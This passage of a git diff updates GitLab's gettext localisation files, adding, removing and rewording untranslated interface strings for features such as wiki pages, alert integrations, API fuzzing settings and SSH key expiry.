-msgid "User was successfully removed from group and any subresources."
+msgid "User was successfully removed from group and any subgroups and projects."
+msgstr ""
+
+msgid "User was successfully removed from group."
msgstr ""
msgid "User was successfully removed from project."
@@ -32797,9 +33567,6 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
-msgid "Users requesting access to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Users were successfully added."
msgstr ""
@@ -32866,7 +33633,22 @@ msgstr ""
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
-msgid "ValueStreamAnalytics|%{days}d"
+msgid "ValueStreamAnalytics|%{value}M"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}d"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}h"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}m"
+msgstr ""
+
+msgid "ValueStreamAnalytics|%{value}w"
+msgstr ""
+
+msgid "ValueStreamAnalytics|&lt;1m"
msgstr ""
msgid "ValueStreamAnalytics|Median time from first commit to issue closed."
@@ -32875,6 +33657,12 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStreamEvent|Start"
+msgstr ""
+
+msgid "ValueStreamEvent|Stop"
+msgstr ""
+
msgid "ValueStream|The Default Value Stream cannot be deleted"
msgstr ""
@@ -33026,9 +33814,15 @@ msgstr ""
msgid "View log"
msgstr ""
+msgid "View logs"
+msgstr ""
+
msgid "View merge request"
msgstr ""
+msgid "View on %{url}"
+msgstr ""
+
msgid "View open merge request"
msgstr ""
@@ -33056,6 +33850,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the jobs grouped into stages"
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -33065,6 +33862,9 @@ msgstr ""
msgid "View users statistics"
msgstr ""
+msgid "View what jobs are needed for a job to run"
+msgstr ""
+
msgid "Viewed"
msgstr ""
@@ -33470,15 +34270,30 @@ msgstr ""
msgid "WebAuthn only works with HTTPS-enabled websites. Contact your administrator for more details."
msgstr ""
+msgid "WebIDE|Fork project"
+msgstr ""
+
+msgid "WebIDE|Go to fork"
+msgstr ""
+
msgid "WebIDE|Merge request"
msgstr ""
+msgid "WebIDE|This project does not accept unsigned commits."
+msgstr ""
+
+msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgstr ""
+
msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
msgstr ""
+msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgstr ""
+
msgid "Webhook"
msgstr ""
@@ -33653,6 +34468,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is repository mirroring?"
+msgstr ""
+
msgid "What is squashing?"
msgstr ""
@@ -33751,9 +34569,6 @@ msgstr ""
msgid "WikiClone|Start Gollum and edit locally"
msgstr ""
-msgid "WikiEditPageTip|Tip: You can move this page by adding the path to the beginning of the title."
-msgstr ""
-
msgid "WikiEdit|There is already a page with the same title in that path."
msgstr ""
@@ -33826,34 +34641,49 @@ msgstr ""
msgid "WikiHistoricalPage|most recent version"
msgstr ""
-msgid "WikiMarkdownDocs|More examples are in the %{docs_link}"
+msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgstr ""
+
+msgid "WikiPageConfirmDelete|Delete page"
msgstr ""
-msgid "WikiMarkdownDocs|documentation"
+msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
msgstr ""
-msgid "WikiMarkdownTip|To link to a (new) page, simply type %{link_example}"
+msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
-msgid "WikiNewPageTip|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgid "WikiPage|Commit message"
msgstr ""
-msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgid "WikiPage|Content"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page"
+msgid "WikiPage|Create %{pageTitle}"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
+msgid "WikiPage|Create page"
msgstr ""
-msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
+msgid "WikiPage|Format"
msgstr ""
-msgid "WikiPageCreate|Create %{pageTitle}"
+msgid "WikiPage|Page title"
msgstr ""
-msgid "WikiPageEdit|Update %{pageTitle}"
+msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
+msgstr ""
+
+msgid "WikiPage|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgstr ""
+
+msgid "WikiPage|Title"
+msgstr ""
+
+msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
+msgstr ""
+
+msgid "WikiPage|Update %{pageTitle}"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -33865,9 +34695,6 @@ msgstr ""
msgid "Wiki|Create New Page"
msgstr ""
-msgid "Wiki|Create page"
-msgstr ""
-
msgid "Wiki|Created date"
msgstr ""
@@ -33880,9 +34707,6 @@ msgstr ""
msgid "Wiki|Page history"
msgstr ""
-msgid "Wiki|Page title"
-msgstr ""
-
msgid "Wiki|Page version"
msgstr ""
@@ -33943,6 +34767,9 @@ msgstr ""
msgid "Write a comment…"
msgstr ""
+msgid "Write a description or drag your files here…"
+msgstr ""
+
msgid "Write milestone description..."
msgstr ""
@@ -34099,6 +34926,12 @@ msgstr ""
msgid "You can create a new one or check them in your %{pat_link_start}personal access tokens%{pat_link_end} settings"
msgstr ""
+msgid "You can create a new one or check them in your %{ssh_key_link_start}SSH keys%{ssh_key_link_end} settings."
+msgstr ""
+
+msgid "You can create a new one or check them in your SSH keys settings %{ssh_key_link}."
+msgstr ""
+
msgid "You can create a new one or check them in your personal access tokens settings %{pat_link}"
msgstr ""
@@ -34240,6 +35073,9 @@ msgstr ""
msgid "You do not have permission to access deployment frequencies"
msgstr ""
+msgid "You do not have permission to access dora metrics."
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -34324,9 +35160,6 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
-msgid "You have insufficient permissions to create an on-call rotation for this project"
-msgstr ""
-
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
@@ -34363,12 +35196,6 @@ msgstr ""
msgid "You have successfully purchased a %{plan} plan subscription for %{seats}. You’ll receive a receipt via email."
msgstr ""
-msgid "You haven't added any issues to your project yet"
-msgstr ""
-
-msgid "You haven't selected any issues yet"
-msgstr ""
-
msgid "You left the \"%{membershipable_human_name}\" %{source_type}."
msgstr ""
@@ -34402,7 +35229,7 @@ msgstr ""
msgid "You must select a stack for configuring your cloud provider. Learn more about"
msgstr ""
-msgid "You must set up incoming email before it becomes active."
+msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
msgid "You must upload a file with the same file name when dropping onto an existing design."
@@ -34417,9 +35244,6 @@ msgstr ""
msgid "You need permission."
msgstr ""
-msgid "You need to be logged in."
-msgstr ""
-
msgid "You need to register a two-factor authentication app before you can set up a device."
msgstr ""
@@ -34603,12 +35427,18 @@ msgstr ""
msgid "Your Public Email will be displayed on your public profile."
msgstr ""
+msgid "Your SSH key has expired"
+msgstr ""
+
msgid "Your SSH key was deleted"
msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
+msgid "Your SSH keys with the following fingerprints has expired:"
+msgstr ""
+
msgid "Your To-Do List"
msgstr ""
@@ -34729,6 +35559,9 @@ msgstr ""
msgid "Your license is valid from"
msgstr ""
+msgid "Your license was successfully synced."
+msgstr ""
+
msgid "Your license will be included in your GitLab backup and will survive upgrades, so in normal usage you should never need to re-upload your %{code_open}.gitlab-license%{code_close} file."
msgstr ""
@@ -34822,7 +35655,7 @@ msgstr ""
msgid "[No reason]"
msgstr ""
-msgid "[Unchanged]"
+msgid "[Redacted]"
msgstr ""
msgid "`end_time` should not exceed one month after `start_time`"
@@ -34929,6 +35762,9 @@ msgstr ""
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't include: %{invalid_storages}"
+msgstr ""
+
msgid "cannot be a date in the past"
msgstr ""
@@ -35231,6 +36067,15 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user} in Jira"
+msgstr ""
+
msgid "created %{timeAgo}"
msgstr ""
@@ -35415,6 +36260,9 @@ msgstr ""
msgid "http:"
msgstr ""
+msgid "http://www.example.com"
+msgstr ""
+
msgid "https://your-bitbucket-server"
msgstr ""
@@ -35585,7 +36433,7 @@ msgstr ""
msgid "manual"
msgstr ""
-msgid "math|The math in this entry is taking too long to render and may not be displayed as expected. For performance reasons, math blocks are also limited to %{maxChars} characters. Consider splitting up large formulae, splitting math blocks among multiple entries, or using an image instead."
+msgid "math|Displaying this math block may cause performance issues on this page"
msgstr ""
msgid "math|There was an error rendering this math block"
@@ -35620,13 +36468,10 @@ msgstr ""
msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetNothingToMerge|Currently there are no changes in this merge request's source branch. Please push new commits or use a different branch."
-msgstr ""
-
-msgid "mrWidgetNothingToMerge|Interested parties can even contribute by pushing commits if they want to."
+msgid "mrWidgetNothingToMerge|This merge request contains no changes."
msgstr ""
-msgid "mrWidgetNothingToMerge|Merge requests are a place to propose changes you have made to a project and discuss those changes with others."
+msgid "mrWidgetNothingToMerge|Use merge requests to propose changes to your project and discuss them with your team. To make changes, push a commit or edit this merge request to use a different branch. With %{linkStart}CI/CD%{linkEnd}, automatically test your changes before merging."
msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
@@ -35740,9 +36585,6 @@ msgstr ""
msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
msgstr ""
-msgid "mrWidget|If the %{branch} branch exists in your local repository, you can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -35893,18 +36735,12 @@ msgstr ""
msgid "mrWidget|You can merge after removing denied licenses"
msgstr ""
-msgid "mrWidget|You can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
msgid "mrWidget|branch does not exist."
msgstr ""
-msgid "mrWidget|command line"
-msgstr ""
-
msgid "mrWidget|into"
msgstr ""
@@ -35935,9 +36771,6 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must be later than active period start"
-msgstr ""
-
msgid "must contain only valid frameworks"
msgstr ""
@@ -36004,15 +36837,6 @@ msgstr ""
msgid "open issue"
msgstr ""
-msgid "opened %{timeAgoString} by %{email} via %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user} in Jira"
-msgstr ""
-
msgid "opened %{timeAgo}"
msgstr ""
@@ -36290,9 +37114,6 @@ msgstr ""
msgid "to join %{source_name}"
msgstr ""
-msgid "to list"
-msgstr ""
-
msgid "toggle collapse"
msgstr ""
@@ -36338,6 +37159,12 @@ msgstr ""
msgid "v%{version} published %{timeAgo}"
msgstr ""
+msgid "value for '%{storage}' must be an integer"
+msgstr ""
+
+msgid "value for '%{storage}' must be between 0 and 100"
+msgstr ""
+
msgid "verify ownership"
msgstr ""
diff --git a/locale/vi_VN/gitlab.po b/locale/vi_VN/gitlab.po
index 471d26cb346..68ed2318b68 100644
--- a/locale/vi_VN/gitlab.po
+++ b/locale/vi_VN/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: vi\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-03-05 23:48\n"
+"PO-Revision-Date: 2021-04-02 00:07\n"
-msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
+msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
msgstr ""
msgid " %{start} to %{end}"
@@ -110,6 +110,10 @@ msgid "%d changed file"
msgid_plural "%d changed files"
msgstr[0] ""
+msgid "%d character remaining"
+msgid_plural "%d characters remaining"
+msgstr[0] ""
+
msgid "%d child epic"
msgid_plural "%d child epics"
msgstr[0] ""
@@ -177,6 +181,10 @@ msgid "%d failed security job"
msgid_plural "%d failed security jobs"
msgstr[0] ""
+msgid "%d file"
+msgid_plural "%d files"
+msgstr[0] ""
+
msgid "%d fixed test result"
msgid_plural "%d fixed test results"
msgstr[0] ""
@@ -333,6 +341,9 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{codeStart}needs:%{codeEnd} relationships"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -345,6 +356,10 @@ msgstr ""
msgid "%{completedCount} completed weight"
msgstr ""
+msgid "%{completedCount} of %{count} task completed"
+msgid_plural "%{completedCount} of %{count} tasks completed"
+msgstr[0] ""
+
msgid "%{completedWeight} of %{totalWeight} weight completed"
msgstr ""
@@ -370,17 +385,9 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
-msgid "%{count} issue selected"
-msgid_plural "%{count} issues selected"
-msgstr[0] ""
-
msgid "%{count} items per page"
msgstr ""
-msgid "%{count} merge request selected"
-msgid_plural "%{count} merge requests selected"
-msgstr[0] ""
-
msgid "%{count} more"
msgstr ""
@@ -473,7 +480,7 @@ msgstr ""
msgid "%{group_name} uses group managed accounts. You need to create a new GitLab account which will be managed by %{group_name}."
msgstr ""
-msgid "%{group_name}&%{epic_iid} &middot; opened %{epic_created} by %{author}"
+msgid "%{group_name}&%{epic_iid} &middot; created %{epic_created} by %{author}"
msgstr ""
msgid "%{hook_type} was deleted"
@@ -854,6 +861,9 @@ msgstr ""
msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
msgstr ""
+msgid "%{userLinkStart}%{user}%{linkEnd} created a %{mrLinkStart}merge request%{linkEnd}:"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -985,6 +995,9 @@ msgstr[0] ""
msgid "+%{approvers} more approvers"
msgstr ""
+msgid "+%{extra} more"
+msgstr ""
+
msgid "+%{more_assignees_count}"
msgstr ""
@@ -1058,6 +1071,10 @@ msgid "1 day"
msgid_plural "%d days"
msgstr[0] ""
+msgid "1 day remaining"
+msgid_plural "%d days remaining"
+msgstr[0] ""
+
msgid "1 deploy key"
msgid_plural "%d deploy keys"
msgstr[0] ""
@@ -1074,6 +1091,14 @@ msgid "1 hour"
msgid_plural "%d hours"
msgstr[0] ""
+msgid "1 issue selected"
+msgid_plural "%d issues selected"
+msgstr[0] ""
+
+msgid "1 merge request selected"
+msgid_plural "%d merge request selected"
+msgstr[0] ""
+
msgid "1 merged merge request"
msgid_plural "%{merge_requests} merged merge requests"
msgstr[0] ""
@@ -1082,6 +1107,10 @@ msgid "1 minute"
msgid_plural "%d minutes"
msgstr[0] ""
+msgid "1 month remaining"
+msgid_plural "%d months remaining"
+msgstr[0] ""
+
msgid "1 open issue"
msgid_plural "%{issues} open issues"
msgstr[0] ""
@@ -1102,6 +1131,14 @@ msgid "1 user"
msgid_plural "%{num} users"
msgstr[0] ""
+msgid "1 week remaining"
+msgid_plural "%d weeks remaining"
+msgstr[0] ""
+
+msgid "1 year remaining"
+msgid_plural "%d years remaining"
+msgstr[0] ""
+
msgid "1-9 contributions"
msgstr ""
@@ -1219,9 +1256,6 @@ msgstr ""
msgid "A file with '%{file_name}' already exists in %{branch} branch"
msgstr ""
-msgid "A fork is a copy of a project."
-msgstr ""
-
msgid "A group is a collection of several projects"
msgstr ""
@@ -1231,13 +1265,10 @@ msgstr ""
msgid "A job artifact is an archive of files and directories saved by a job when it finishes."
msgstr ""
-msgid "A label list displays issues with the selected label."
-msgstr ""
-
msgid "A limit of %{ci_project_subscriptions_limit} subscriptions to or from a project applies."
msgstr ""
-msgid "A maximum of %{count} participants can be added"
+msgid "A management, operational, or technical control (that is, safeguard or countermeasure) employed by an organization that provides equivalent or comparable protection for an information system."
msgstr ""
msgid "A member of the abuse team will review your report as soon as possible."
@@ -1312,9 +1343,6 @@ msgstr ""
msgid "A title is required"
msgstr ""
-msgid "A user can only participate in a rotation once"
-msgstr ""
-
msgid "A user with write access to the source branch selected this option"
msgstr ""
@@ -1333,13 +1361,25 @@ msgstr ""
msgid "API Token"
msgstr ""
-msgid "APIFuzzing|API Fuzzing Configuration"
+msgid "API key"
+msgstr ""
+
+msgid "API version"
+msgstr ""
+
+msgid "APIFuzzing|$VariableWithPassword"
+msgstr ""
+
+msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|Authentication is handled by providing HTTP basic authentication token as a header or cookie. %{linkStart}More information%{linkEnd}."
+msgid "APIFuzzing|/folder/example_file.json"
msgstr ""
-msgid "APIFuzzing|Base URL of API fuzzing target."
+msgid "APIFuzzing|API Fuzzing Configuration"
+msgstr ""
+
+msgid "APIFuzzing|Base URL of API testing target. For example, http://www.example.com."
msgstr ""
msgid "APIFuzzing|Choose a method"
@@ -1351,6 +1391,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
msgstr ""
+msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
msgstr ""
@@ -1363,16 +1406,19 @@ msgstr ""
msgid "APIFuzzing|Enable authentication"
msgstr ""
-msgid "APIFuzzing|Ex: $TestPassword"
+msgid "APIFuzzing|Enter the name of the variable containing the password. For example, $VariableWithPassword."
+msgstr ""
+
+msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: $TestUsername"
+msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
msgstr ""
msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.json"
+msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
@@ -1381,16 +1427,16 @@ msgstr ""
msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Instead of entering the password directly, enter the key of the CI variable set to the password."
+msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
-msgid "APIFuzzing|Instead of entering the username directly, enter the key of the CI variable set to the username."
+msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Make sure your credentials are secured"
+msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
msgstr ""
-msgid "APIFuzzing|Password for basic authentication"
+msgid "APIFuzzing|Predefined profiles"
msgstr ""
msgid "APIFuzzing|Scan mode"
@@ -1423,9 +1469,6 @@ msgstr ""
msgid "APIFuzzing|Username for basic authentication"
msgstr ""
-msgid "APIFuzzing|We recommend that you review the JSON specifications file before adding it to a repository."
-msgstr ""
-
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
@@ -1603,6 +1646,9 @@ msgstr ""
msgid "Account: %{account}"
msgstr ""
+msgid "Action"
+msgstr ""
+
msgid "Action to take when receiving an alert. %{docsLink}"
msgstr ""
@@ -1633,10 +1679,6 @@ msgstr ""
msgid "Add \"%{value}\""
msgstr ""
-msgid "Add %d issue"
-msgid_plural "Add %d issues"
-msgstr[0] ""
-
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
@@ -1682,6 +1724,9 @@ msgstr ""
msgid "Add a Grafana button in the admin sidebar, monitoring section, to access a variety of statistics on the health and performance of GitLab."
msgstr ""
+msgid "Add a Jaeger URL to replace this page with a link to your Jaeger server. You first need to %{link_start_tag}install Jaeger%{link_end_tag}."
+msgstr ""
+
msgid "Add a bullet list"
msgstr ""
@@ -1757,6 +1802,9 @@ msgstr ""
msgid "Add comment to design"
msgstr ""
+msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1784,9 +1832,6 @@ msgstr ""
msgid "Add image comment"
msgstr ""
-msgid "Add issues"
-msgstr ""
-
msgid "Add italic text"
msgstr ""
@@ -1814,6 +1859,9 @@ msgstr ""
msgid "Add previously merged commits"
msgstr ""
+msgid "Add projects"
+msgstr ""
+
msgid "Add reaction"
msgstr ""
@@ -1832,6 +1880,9 @@ msgstr ""
msgid "Add to Slack"
msgstr ""
+msgid "Add to board"
+msgstr ""
+
msgid "Add to epic"
msgstr ""
@@ -1925,6 +1976,9 @@ msgstr ""
msgid "Additional text"
msgstr ""
+msgid "Address"
+msgstr ""
+
msgid "Adds"
msgstr ""
@@ -1952,6 +2006,9 @@ msgstr ""
msgid "Admin Area"
msgstr ""
+msgid "Admin Mode"
+msgstr ""
+
msgid "Admin Note"
msgstr ""
@@ -2093,9 +2150,6 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminNote|Note"
-msgstr ""
-
msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources including issues, merge requests, etc.. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
@@ -2531,6 +2585,12 @@ msgstr ""
msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
msgstr ""
+msgid "Admin|Admin notes"
+msgstr ""
+
+msgid "Admin|Note"
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -2577,6 +2637,9 @@ msgid "Alert"
msgid_plural "Alerts"
msgstr[0] ""
+msgid "Alert integrations"
+msgstr ""
+
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -2739,6 +2802,12 @@ msgstr ""
msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
msgstr ""
+msgid "AlertSettings|A URL and authorization key have been created for your integration. You will need them to setup a webhook and authorize your endpoint to send alerts to GitLab."
+msgstr ""
+
+msgid "AlertSettings|A webhook URL and authorization key will be generated for the integration. Both will be visible after saving the integration in the “View credentials†tab."
+msgstr ""
+
msgid "AlertSettings|Add new integration"
msgstr ""
@@ -2754,13 +2823,16 @@ msgstr ""
msgid "AlertSettings|Delete integration"
msgstr ""
+msgid "AlertSettings|Edit integration"
+msgstr ""
+
msgid "AlertSettings|Edit payload"
msgstr ""
-msgid "AlertSettings|Enter integration name"
+msgid "AlertSettings|Enable integration"
msgstr ""
-msgid "AlertSettings|External Prometheus"
+msgid "AlertSettings|Enter integration name"
msgstr ""
msgid "AlertSettings|HTTP Endpoint"
@@ -2769,25 +2841,28 @@ msgstr ""
msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
msgstr ""
-msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
+msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click the \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
msgstr ""
msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
+msgid "AlertSettings|Integration successfully saved"
+msgstr ""
+
msgid "AlertSettings|Name integration"
msgstr ""
-msgid "AlertSettings|Parse payload for custom mapping"
+msgid "AlertSettings|Parse payload fields"
msgstr ""
msgid "AlertSettings|Proceed with editing"
msgstr ""
-msgid "AlertSettings|Prometheus API base URL"
+msgid "AlertSettings|Prometheus"
msgstr ""
-msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional)."
+msgid "AlertSettings|Prometheus API base URL"
msgstr ""
msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This will allow you to send an alert to an active GitLab alerting point."
@@ -2802,24 +2877,36 @@ msgstr ""
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
-msgid "AlertSettings|Sample alert payload (optional)"
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
msgstr ""
-msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgid "AlertSettings|Save & create test alert"
msgstr ""
msgid "AlertSettings|Save integration"
msgstr ""
-msgid "AlertSettings|Select integration type"
+msgid "AlertSettings|Save integration & send"
msgstr ""
-msgid "AlertSettings|Send"
+msgid "AlertSettings|Select integration type"
msgstr ""
msgid "AlertSettings|Send test alert"
msgstr ""
+msgid "AlertSettings|Send without saving"
+msgstr ""
+
+msgid "AlertSettings|The default GitLab alert fields are listed below. If you choose to map your payload keys to GitLab's, please make a selection in the dropdowns below. You may also opt to leave the fields unmapped and move straight to saving your integration."
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes"
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes. How would you like to proceed?"
+msgstr ""
+
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
@@ -2829,6 +2916,9 @@ msgstr ""
msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|View URL and authorization key"
+msgstr ""
+
msgid "AlertSettings|View credentials"
msgstr ""
@@ -2838,9 +2928,6 @@ msgstr ""
msgid "AlertSettings|You can now set up alert endpoints for manually configured Prometheus instances in the Alerts section on the Operations settings page. Alert endpoint fields on this page have been deprecated."
msgstr ""
-msgid "AlertSettings|Your integration was successfully updated."
-msgstr ""
-
msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
msgstr ""
@@ -2877,7 +2964,10 @@ msgstr ""
msgid "AlertsIntegrations|The integration has been successfully removed."
msgstr ""
-msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgid "AlertsIntegrations|The integration has been successfully saved."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration is currently inactive. Enable the integration to send the test alert."
msgstr ""
msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
@@ -2967,9 +3057,6 @@ msgstr ""
msgid "Allow only the selected protocols to be used for Git access."
msgstr ""
-msgid "Allow overrides to approval lists per merge request (MR)"
-msgstr ""
-
msgid "Allow owners to manage default branch protection per group"
msgstr ""
@@ -3033,6 +3120,9 @@ msgstr ""
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
+msgid "Allowed group"
+msgstr ""
+
msgid "Allowed to create:"
msgstr ""
@@ -3060,6 +3150,9 @@ msgstr ""
msgid "Also called \"Relying party service URL\" or \"Reply URL\""
msgstr ""
+msgid "Also remove direct user membership from subgroups and projects"
+msgstr ""
+
msgid "Also unassign this user from related issues and merge requests"
msgstr ""
@@ -3117,6 +3210,9 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
+msgid "An error in reporting in which a test result incorrectly indicates the presence of a vulnerability in a system when the vulnerability is not present."
+msgstr ""
+
msgid "An error occurred adding a draft to the thread."
msgstr ""
@@ -3240,6 +3336,9 @@ msgstr ""
msgid "An error occurred while fetching projects autocomplete."
msgstr ""
+msgid "An error occurred while fetching reference"
+msgstr ""
+
msgid "An error occurred while fetching sidebar data"
msgstr ""
@@ -3252,9 +3351,6 @@ msgstr ""
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
-msgid "An error occurred while fetching the builds."
-msgstr ""
-
msgid "An error occurred while fetching the job log."
msgstr ""
@@ -3345,7 +3441,7 @@ msgstr ""
msgid "An error occurred while loading the file. Please try again later."
msgstr ""
-msgid "An error occurred while loading the members, please try again."
+msgid "An error occurred while loading the file. Please try again."
msgstr ""
msgid "An error occurred while loading the merge request changes."
@@ -3483,9 +3579,6 @@ msgstr ""
msgid "An issue already exists"
msgstr ""
-msgid "An issue can be a bug, a todo or a feature request that needs to be discussed in a project. Besides, issues are searchable and filterable."
-msgstr ""
-
msgid "An issue title is required"
msgstr ""
@@ -3687,6 +3780,9 @@ msgstr ""
msgid "Approval rules reset to project defaults"
msgstr ""
+msgid "Approval settings"
+msgstr ""
+
msgid "ApprovalRuleRemove|%d member"
msgid_plural "ApprovalRuleRemove|%d members"
msgstr[0] ""
@@ -3706,6 +3802,9 @@ msgid "ApprovalRuleSummary|%{count} approval required from %{membersCount}"
msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCount}"
msgstr[0] ""
+msgid "ApprovalRule|Add approvers"
+msgstr ""
+
msgid "ApprovalRule|Approval rules"
msgstr ""
@@ -3715,6 +3814,9 @@ msgstr ""
msgid "ApprovalRule|Approvers"
msgstr ""
+msgid "ApprovalRule|Examples: QA, Security."
+msgstr ""
+
msgid "ApprovalRule|Name"
msgstr ""
